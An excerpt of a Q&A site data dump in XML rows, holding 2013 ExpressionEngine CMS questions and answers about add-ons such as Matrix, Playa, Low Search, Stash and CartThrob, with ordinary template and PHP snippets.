  <row Id="8995" PostTypeId="1" CreationDate="2013-04-04T12:53:05.890" Score="1" ViewCount="85" Body="&lt;p&gt;I've just updated EE to 2.5.5 only to find that matrix images aren't showing. Apparently I need to update matrix from 2.1.2 to 2.5.3 to solve this, but when I do all of the site's pages go blank. Any idea how to solve this?&lt;/p&gt;&#xA;" OwnerUserId="1273" LastActivityDate="2013-05-04T16:14:15.047" Title="Updating matrix makes my site go blank" Tags="|matrix|upgrade|updating|update|blank-screen|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8996" PostTypeId="2" ParentId="8992" CreationDate="2013-04-04T13:34:42.310" Score="1" Body="&lt;p&gt;You could write an extension that uses the &lt;a href=&quot;http://cartthrob.com/docs/developers/hooks/#cartthrob_pre_process&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;cartthrob_pre_process&lt;/strong&gt; hook&lt;/a&gt; (or possibly &lt;a href=&quot;http://cartthrob.com/docs/developers/hooks/#cartthrob_save_customer_info_start&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;cartthrob_save_customer_info_start&lt;/strong&gt;&lt;/a&gt;, depending on how your checkout flows).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside your extension method, grab &lt;code&gt;$_POST['email_address']&lt;/code&gt;, check to see if a member exists with that email, and if they do, return an error screen.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-04-04T13:34:42.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8997" PostTypeId="2" ParentId="8995" CreationDate="2013-04-04T14:15:10.773" Score="1" Body="&lt;p&gt;You probably have to trigger Matrix's update script. Go to &lt;strong&gt;Add-Ons&lt;/strong&gt; &amp;rarr; &lt;strong&gt;Fieldtypes&lt;/strong&gt; &amp;rarr; &lt;strong&gt;Matrix&lt;/strong&gt; and it'll run automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work, try turning on error messages for admins and see if that gives you some hints. In &lt;code&gt;system/expressionengine/config/config.php&lt;/code&gt;, put &lt;code&gt;$config['debug'] = &quot;1&quot;;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="456" LastActivityDate="2013-04-04T14:15:10.773" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8998" PostTypeId="1" AcceptedAnswerId="9000" CreationDate="2013-04-04T14:18:33.103" Score="0" ViewCount="102" Body="&lt;p&gt;I am working on a client site and they have a search form which we are using Low Search for. Two current search fields for &lt;code&gt;keywords&lt;/code&gt; and &lt;code&gt;topics&lt;/code&gt; (a Playa field) work fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am working on the third field where we need to filter by the &lt;code&gt;position&lt;/code&gt; (text input) field of a related employee (Playa field).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code I currently have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select id=&quot;position&quot; name=&quot;child:news_related_employees[]&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;All&amp;lt;/option&amp;gt;&#xA;    {exp:query sql=&quot;SELECT GROUP_CONCAT(entry_id) AS entry_ids, field_id_34 AS p_position FROM exp_channel_data WHERE field_id_34 != '' GROUP BY field_id_34 ORDER BY field_id_34 ASC&quot;}&#xA;    &amp;lt;option value=&quot;{entry_ids}&quot;&amp;gt;{p_position}&amp;lt;/option&amp;gt;&#xA;    {/exp:query}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The query works fine, I get a comma separated list of &lt;code&gt;entry_id&lt;/code&gt;s per unique position, however the form does not return any results. I assume that's because it is trying to match the entire string of &lt;code&gt;entry_id&lt;/code&gt;s to an employee in the Playa field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone shed some light on this or know of a way to do what we need? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="156" LastActivityDate="2013-04-04T14:45:51.657" Title="Low Search Related Child in List" Tags="|playa|low-search|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8999" PostTypeId="1" CreationDate="2013-04-04T14:29:25.403" Score="1" ViewCount="185" Body="&lt;p&gt;How to make the live filters visible on control panel when we publish a channel? I've added channel field and set playa as field type. But when i try to publish an entry, i cannot see the live filters near to the field. I'm using Playa 4.3.3 and EE 2.&lt;/p&gt;&#xA;" OwnerUserId="1281" LastActivityDate="2013-05-04T15:14:15.060" Title="Playa - Live filter is not visible in control panel" Tags="|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9000" PostTypeId="2" ParentId="8998" CreationDate="2013-04-04T14:45:51.657" Score="1" Body="&lt;p&gt;Low Search expects a pipe &lt;code&gt;|&lt;/code&gt; as a value separator. You can &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.5/en/group-by-functions.html#function_group-concat&quot; rel=&quot;nofollow&quot;&gt;define that&lt;/a&gt; in the &lt;code&gt;GROUP_CONCAT&lt;/code&gt; clause of your query. So try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;GROUP_CONCAT(entry_id SEPARATOR '|') AS entry_ids&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-04-04T14:45:51.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9001" PostTypeId="1" CreationDate="2013-04-04T14:58:54.250" Score="1" ViewCount="331" Body="&lt;p&gt;Is there a way to sort Channel Entries by a Matrix field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would this work if date was a Matrix field?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries orderby=&quot;date&quot; sort=&quot;desc&quot; limit=&quot;10&quot;}&#xA;        &amp;lt;a href=&quot;{title_permalink='channel/comments'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="830" LastActivityDate="2013-09-15T07:21:12.650" Title="Sort Channel Entries By Matrix" Tags="|matrix|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9002" PostTypeId="2" ParentId="8999" CreationDate="2013-04-04T15:11:36.217" Score="1" Body="&lt;p&gt;Double check that your themes folder is loading from the same site URL as you are using the access the control panel. I've experienced that before and it was as simple as making sure that I'm logging into the exact same domain (https vs http, www versus non-www, etc).&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-04-04T15:11:36.217" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9003" PostTypeId="2" ParentId="8972" CreationDate="2013-04-04T15:47:01.670" Score="1" Body="&lt;p&gt;Do you need to store the POST var for reuse or do you just want to use it within a conditional? If so you'd probably find that &lt;a href=&quot;https://github.com/croxton/Switchee/tree/develop&quot; rel=&quot;nofollow&quot;&gt;Switchee&lt;/a&gt; gets you on the right track. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{post:my_var}&quot; parse=&quot;inward&quot;}&#xA;&#xA;    {case value=&quot;value1|value2&quot;}&#xA;        Content to show&#xA;    {/case}&#xA;&#xA;    {case value=&quot;value3&quot; default=&quot;Yes&quot;}&#xA;        Content to show&#xA;    {/case}&#xA;&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the &lt;code&gt;post:&lt;/code&gt; prefix for the Switchee variable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do need to cache the POST var then you can stick it in a Stash variable and then parse that with Switchee:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable = &quot;stash:my_var&quot; parse=&quot;inward&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or, rather than caching the POST var, you could put your &lt;code&gt;stash:set&lt;/code&gt; calls inside the Switchee loop and you could cache the template output entirely, which could result in significant performance gains. Without more info it's hard to know which approach would be ideal.&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2013-04-04T15:47:01.670" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9004" PostTypeId="2" ParentId="8972" CreationDate="2013-04-04T16:14:41.550" Score="1" Body="&lt;p&gt;Here's how I got conditionals to work with Stash 2.3.6:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Get: {exp:stash:get name=&quot;test1&quot; dynamic=&quot;yes&quot; output=&quot;yes&quot;}&amp;lt;br/&amp;gt;&#xA;Output: {exp:stash:test1}&amp;lt;br/&amp;gt;&#xA;{if '{exp:stash:test1}' == 'yyy'}Yipee!{if:else}Frack!{/if}&amp;lt;br/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I guess you can't really create a variable: they need to come from a channel. So this technique gets test1 from the $_POST array, and now I can test it and take action depending on its value.&lt;/p&gt;&#xA;" OwnerUserId="1126" LastActivityDate="2013-04-04T16:14:41.550" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9005" PostTypeId="1" CreationDate="2013-04-04T16:34:22.673" Score="1" ViewCount="436" Body="&lt;p&gt;I am running the EE Wizard to check the compatibility of a new server I may be working with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All tests pass except for the PHP Memory Limit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the cPanel of the hosting server, it shows that memory_limit is set to 32M, so why would the EE Wizard be failing this part of the check? &lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2013-05-10T01:17:08.650" Title="PHP Memory Limit &amp; EE Wizard" Tags="|memory-limit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9006" PostTypeId="2" ParentId="8994" CreationDate="2013-04-04T16:35:54.373" Score="3" Body="&lt;p&gt;This was solved by adding $config['assets_site_url'] = '&lt;a href=&quot;http://site1.com/index.php&quot; rel=&quot;nofollow&quot;&gt;http://site1.com/index.php&lt;/a&gt;'; for real - on the first try something had went wrong for Adrian silently, apparently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the CP to add this option worked as expected.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-04-04T16:35:54.373" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9007" PostTypeId="1" AcceptedAnswerId="9357" CreationDate="2013-04-04T16:42:32.767" Score="3" ViewCount="173" Body="&lt;p&gt;Does anyone know if it's possible to change the order category groups appear within the categories tab when publishing/editing an entry?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mine are coming back in neither ID order nor alphabetical order!&lt;/p&gt;&#xA;" OwnerUserId="522" LastActivityDate="2013-04-15T15:25:19.560" Title="Category group ordering within categories tab" Tags="|categories|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9008" PostTypeId="1" CreationDate="2013-04-04T18:27:25.403" Score="3" ViewCount="135" Body="&lt;p&gt;I have a homepage template that I manually change and there are rows with 3 columns each. Each column is a topic with entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote out some PHP to programmatically to create these rows and columns so that I could query the database and then create the columns much easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It basically takes the array of items, and breaks into smaller items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I'm having is converting it to work with EE and the template engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started out by creating a plugin, and maybe this isn't the way to do it. I can get the topics and spit them out using the parse_variables function in the template engine. Getting them into their own arrays like I do in my test code below isn't hard, but I'm not certain how to get this working within the plugin and the EE template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I just use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:topics_loop:all}&#xA;    {topics}&#xA;        {topic}&#xA;    {topics}&#xA;{/exp:topics_loop:all}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It spits out the topics, yay, but that's easy. Anyway, here's my rudimentary test code to get a better idea of what I'm trying to accomplish:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;$array = array();&#xA;&#xA;for( $i = 1; $i &amp;lt;= 13; $i++ ) {&#xA;    array_push($array, 'topic ' . $i);&#xA;}&#xA;&#xA;$thisArray = array();&#xA;$numPerRow = 3;&#xA;$numElems = count($array);&#xA;$rowCount = 0;&#xA;$thisArray[] = array();&#xA;foreach( $array as $key =&amp;gt; $value ) {&#xA;&#xA;    if( count($thisArray[$rowCount]) == $numPerRow ) {&#xA;        if( ($numElems - $key) == 4) {&#xA;            $numPerRow = 2;&#xA;        }&#xA;        $rowCount++;&#xA;    }&#xA;    $thisArray[$rowCount][] = $value;&#xA;}&#xA;&#xA;foreach($thisArray as $arrays) {&#xA;&#xA;    echo 'start row&amp;lt;br /&amp;gt;';&#xA;    $count = count($arrays);&#xA;    if( $count == 3) {&#xA;        foreach($arrays as $a) {&#xA;            echo 'span_4 - ' . $a . '&amp;lt;br /&amp;gt;';&#xA;        }&#xA;    }&#xA;    if( $count == 2 ) {&#xA;        foreach($arrays as $a) {&#xA;            echo 'span_6 - ' . $a . '&amp;lt;br /&amp;gt;';&#xA;        }&#xA;    }&#xA;    echo 'end row&amp;lt;hr /&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I create a simple array of items just for testing out different combinations. It creates columns of 3, if it has 1 item in the last array, we split the last 2 into arrays of 2. I never want 1 item by itself essentially.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you run this specific code, you'll see that it creates: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;start row&#xA; span_4 - topic 1&#xA; span_4 - topic 2&#xA; span_4 - topic 3&#xA;end row&#xA;&#xA;start row&#xA; span_4 - topic 4&#xA; span_4 - topic 5&#xA; span_4 - topic 6&#xA;end row&#xA;&#xA;start row&#xA; span_4 - topic 7&#xA; span_4 - topic 8&#xA; span_4 - topic 9&#xA;end row&#xA;&#xA;start row&#xA; span_6 - topic 10&#xA; span_6 - topic 11&#xA;end row&#xA;&#xA;start row&#xA; span_6 - topic 12&#xA; span_6 - topic 13&#xA;end row&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyway, this is rudimentary, but if anyone has pointers on how to get this idea into EE, let me know. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1282" LastActivityDate="2015-12-10T22:46:11.153" Title="Custom column creation for template and plugin" Tags="|ee2|templates|plugin|dynamic|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9009" PostTypeId="2" ParentId="9007" CreationDate="2013-04-04T18:43:39.793" Score="1" Body="&lt;p&gt;Go to to &lt;strong&gt;Admin &gt; Channel Administration &gt; Categories&lt;/strong&gt; drop down, then click on &lt;strong&gt;Add/Edit Categories&lt;/strong&gt; and choose Alphabetical or Custom sorting. Based on what you said, you probably have custom sorting enabled. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also do the custom sort within the actual categories tab like I mention below or do it in the Admin Categories area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Categories tab on the edit/publish entry page, click the &lt;strong&gt;Edit Categories&lt;/strong&gt; link underneath the actual categories. The categories have a custom sort order based on that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are arrows to move them up or down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that what you were looking for?&lt;/p&gt;&#xA;" OwnerUserId="1282" LastActivityDate="2013-04-04T18:43:39.793" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9010" PostTypeId="1" AcceptedAnswerId="9017" CreationDate="2013-04-04T19:03:12.157" Score="1" ViewCount="58" Body="&lt;p&gt;Is it possible in Expression Engine, using the latest version, to run a search query, without having to use a form? Meaning, I'd like to create an api endpoint like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://localhost/v1/search/large+pants&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the view file would grab segment_3, and use that to search the various channels I have?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's not possible, then I ask, is it possible to do a post like how the regular search module works, but not require any of the extra params in the request, just send over the &quot;keywords&quot;?&lt;/p&gt;&#xA;" OwnerUserId="1182" LastActivityDate="2013-04-04T20:26:40.597" Title="Help with using the Search Module without a form" Tags="|module|search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9011" PostTypeId="2" ParentId="5351" CreationDate="2013-04-04T19:05:04.817" Score="0" Body="&lt;p&gt;I also ran into this issue and had a few things to get over.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You must disable the datepicker in the SafeCracker parameters before you can override the javascript settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:safecracker channel=&quot;jobs&quot; datepicker=&quot;no&quot;}&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I chose to add the time myself to the date format as I didn't nto want to add an additional plugin to set the time and it is semi irrelevant to my date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$(&quot;.datepicker&quot;).datepicker({ &#xA;        dateFormat: &quot;yy-mm-dd 12:00 'PM'&quot;,&lt;br&gt;&#xA;        maxDate: &quot;+0d&quot;,&#xA;        changeMonth: true,&#xA;        changeYear: true,&#xA;        altFormat: &quot;DD, d MM, yy&quot;&#xA;    });&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The other alternative is to use a separate field to display your data differently from the submitted data by using the additional field option and submitting in in a hidden field. Check out the datepicker widget API for the examples &lt;a href=&quot;http://api.jqueryui.com/1.8/datepicker/&quot; rel=&quot;nofollow&quot;&gt;http://api.jqueryui.com/1.8/datepicker/&lt;/a&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="386" LastActivityDate="2013-04-04T19:05:04.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9012" PostTypeId="1" CreationDate="2013-04-04T19:29:00.167" Score="1" ViewCount="113" Body="&lt;p&gt;I'm trying to pass some information from one page to the next, in a hidden field. And I need to be able to tweak it with jQuery; so I can't just use a pure Stash solution. But for some reason the value of my hidden field is converted from my simple flags (product or blog) to a long string of alphanumerics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the full template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get name=&quot;search_type&quot; output=&quot;yes&quot; dynamic=&quot;yes&quot;}&amp;lt;br/&amp;gt;&#xA;{if '{exp:stash:search_type}' != 'product' &amp;amp;&amp;amp; '{exp:stash:search_type}' != 'blog'}&#xA;{exp:stash:set_value name=&quot;search_type&quot; value=&quot;product&quot; replace=&quot;yes&quot;}&#xA;{/if}&#xA;{!-- exp:stash:set_value name=&quot;search_type&quot; value=&quot;product&quot; replace=&quot;yes&quot; --}&#xA;-{exp:stash:search_type}-&amp;lt;br&amp;gt;&#xA;&amp;lt;h1 class=&quot;searchTitle&quot;&amp;gt;&amp;lt;span class=&quot;icon&quot;&amp;gt;&amp;lt;/span&amp;gt;search&amp;lt;/h1&amp;gt;   &#xA; &amp;lt;h4 class=&quot;links&quot;&amp;gt;&#xA; &amp;lt;a id=&quot;prodsearch&quot; {if '{exp:stash:search_type}' == 'product'}class=&quot;selected&quot;{/if} href=&quot;ourtoys/search_results&quot;&amp;gt;product&amp;lt;/a&amp;gt; | &#xA; &amp;lt;a id=&quot;blogsearch&quot; {if '{exp:stash:search_type}' == 'blog'}class=&quot;selected&quot;{/if} href=&quot;ourtoys/search_results&quot;&amp;gt;blog&amp;lt;/a&amp;gt;&#xA; &amp;lt;/h4&amp;gt;&#xA;-{exp:stash:search_type}-&amp;lt;br&amp;gt;&#xA;&#xA;{exp:search:simple_form channel=&quot;products&quot; form_class=&quot;form-wrapper cf&quot;&#xA;result_page=&quot;ourtoys/search_results&quot; no_result_page=&quot;ourtoys/no_search_results&quot; where=&quot;any&quot;}&#xA;{exp:stash:search_type}&amp;lt;br&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;search_type&quot; id=&quot;search_type&quot; value=&quot;{exp:stash:search_type}&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;keywords&quot; class=&quot;keywords&quot; placeholder=&quot;Search here...&quot; required value=&quot;{exp:search:keywords}&quot;&amp;gt;&#xA;&amp;lt;button type=&quot;submit&quot; id=&quot;search_button&quot;&amp;gt;go&amp;lt;/button&amp;gt;&#xA;{/exp:search:simple_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Interestingly, when I display the Stashed var inside the (search) form it's converted. But when I display it outside, it's the straight goods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my questions are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;why is this being converted?&lt;/li&gt;&#xA;&lt;li&gt;how do I &quot;read&quot; or unconvert it?&lt;/li&gt;&#xA;&lt;li&gt;is there some way to prevent them from being converted in the first place?&lt;/li&gt;&#xA;&lt;li&gt;is there a mechanism for accessing stashed variables from JavaScript?&lt;/li&gt;&#xA;&lt;li&gt;is there some other way to get JS-modified data from one page to the next?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I seriously doubt there'd be a JS access to Stash vars. But thought I'd ask just the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="1126" LastEditorUserId="1126" LastEditDate="2013-04-04T19:56:03.473" LastActivityDate="2013-05-06T07:16:10.653" Title="Why Are Hidden Field Values Converted?" Tags="|stash|forms|search|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9013" PostTypeId="2" ParentId="9012" CreationDate="2013-04-04T19:36:01.240" Score="0" Body="&lt;p&gt;Could you show more of your code from that template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mix of alphanumeric characters have to do with ExpressionEngine parsing. Something is messed up, so it shows that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something, most likely Stash, or another plugin isn't being parsed correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; Have you tried to add parse=&quot;inward&quot; to the exp:search:simple_form opening tag?&lt;/p&gt;&#xA;" OwnerUserId="1282" LastEditorUserId="1282" LastEditDate="2013-04-05T14:09:01.967" LastActivityDate="2013-04-05T14:09:01.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9014" PostTypeId="1" AcceptedAnswerId="9037" CreationDate="2013-04-04T19:40:26.617" Score="1" ViewCount="311" Body="&lt;p&gt;This is embarrassing because I &lt;em&gt;know&lt;/em&gt; I have asked this before... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the trick to getting the reset email link to load the template with the Freemember Password Reset code? Does the template have to be named something specific? &lt;/p&gt;&#xA;" OwnerUserId="1007" LastActivityDate="2013-04-06T02:54:18.350" Title="Where do I put Freemember Password Reset code?" Tags="|freemember|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9016" PostTypeId="1" CreationDate="2013-04-04T20:26:15.713" Score="1" ViewCount="66" Body="&lt;p&gt;I'm sure I'm going to do a horrible job explaining this, so apologies in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two different blogs (Blog and Featured), two different category groups (Blog and Decades), and I'm having a problem linking items in my category groups to the correct page. Here's an example of my Decades snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h3&amp;gt;DECADES&amp;lt;/h3&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;    {exp:channel:categories channel=&quot;blog|featured&quot; style=&quot;linear&quot; category_group=&quot;not 10&quot;     show_empty=&quot;no&quot;}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/exp:channel:categories}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I'm allowed to use multiple channels in the &lt;code&gt;channel=&lt;/code&gt; parameter, what do I link the &lt;code&gt;{category_name}&lt;/code&gt; to? Either blog can select the Decades Category group, so if I want someone to see all the posts in the 1910 category, regardless if the post was made in the blog channel or the decades channel, how would I go about it?&lt;/p&gt;&#xA;" OwnerUserId="1061" LastActivityDate="2013-05-05T02:14:25.667" Title="Two different channels, but one archive. Possible?" Tags="|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9017" PostTypeId="2" ParentId="9010" CreationDate="2013-04-04T20:26:40.597" Score="3" Body="&lt;p&gt;Something like that is not possible with the first party search module. It would be possible to build queries like that with &lt;a href=&quot;http://devot-ee.com/add-ons/low-search&quot; rel=&quot;nofollow&quot;&gt;Low Search&lt;/a&gt; or &lt;a href=&quot;http://devot-ee.com/add-ons/super-search&quot; rel=&quot;nofollow&quot;&gt;Solspace SuperSearch&lt;/a&gt; however. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-04-04T20:26:40.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9018" PostTypeId="1" CreationDate="2013-04-04T20:38:20.087" Score="1" ViewCount="68" Body="&lt;p&gt;I've asked a couple of other questions about parts of this issue, but I haven't explained the whole thing. I think I'm going down rabbit holes on specific issues; but if I explained the whole thing, perhaps someone could point me in a different, more productive direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a search page using the simple_form tag. By default, it searches in the products channel. But we want a mechanism which allows users to alternatively search in the blog channel. So when they arrive on the search_results page, in addition to the search results, we also display Product and Blog links. The Product link is highlighted, to show we're displaying product results. If the user clicks the Blog link, jQuery takes over, changes a hidden field called search_type to &quot;blog&quot;, and clicks the search button on the search form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This brings us back to the search_results page, but now we've passed the &quot;blog&quot; flag as a hidden field. We pick it up using stash:get, and use the search_type as the channel parameter in the search:simple_form tag...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, that's how it should work, anyhow. As I was writing that last bit, it occurred to me that the channel parameter had been parsed some time ago, so when we hit the search button, the channel is already encoded in teh hidden fields. (I'm guessing that's how it works.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK, so how would I handle this product/blog search thing? I've been going round in circles for over a day. Thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="1126" LastEditorUserId="1126" LastEditDate="2013-04-04T20:49:16.427" LastActivityDate="2013-05-06T23:16:59.177" Title="How to Switch Search Channels on the Fly?" Tags="|search|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9019" PostTypeId="1" CreationDate="2013-04-04T21:39:22.000" Score="1" ViewCount="233" Body="&lt;p&gt;I'm looking to build a new ipad and iPhone website for a client. I'm looking at Sencha Touch as the solution with Carththrob running the ecommerce side of things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As anyone had any experience with this set up?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the Sencha docs, I'm thinking of using XTemplates quite heavily to accommodate CTs forms etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any heads up would be fantastic!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="855" LastActivityDate="2013-04-05T17:34:03.307" Title="Anyone used Sencha Touch and EE for ecommerce?" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9020" PostTypeId="1" CreationDate="2013-04-05T00:09:29.520" Score="1" ViewCount="63" Body="&lt;p&gt;A client wishes to sell from Australia to the rest of the world.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will the Australia Post Shipping Module handle this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is there a better method..?&lt;/p&gt;&#xA;" OwnerUserId="1280" LastActivityDate="2013-04-05T09:10:45.070" Title="Does Expresso Store's Australia Post Shipping Module handle International Postage" Tags="|expresso-store|shipping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
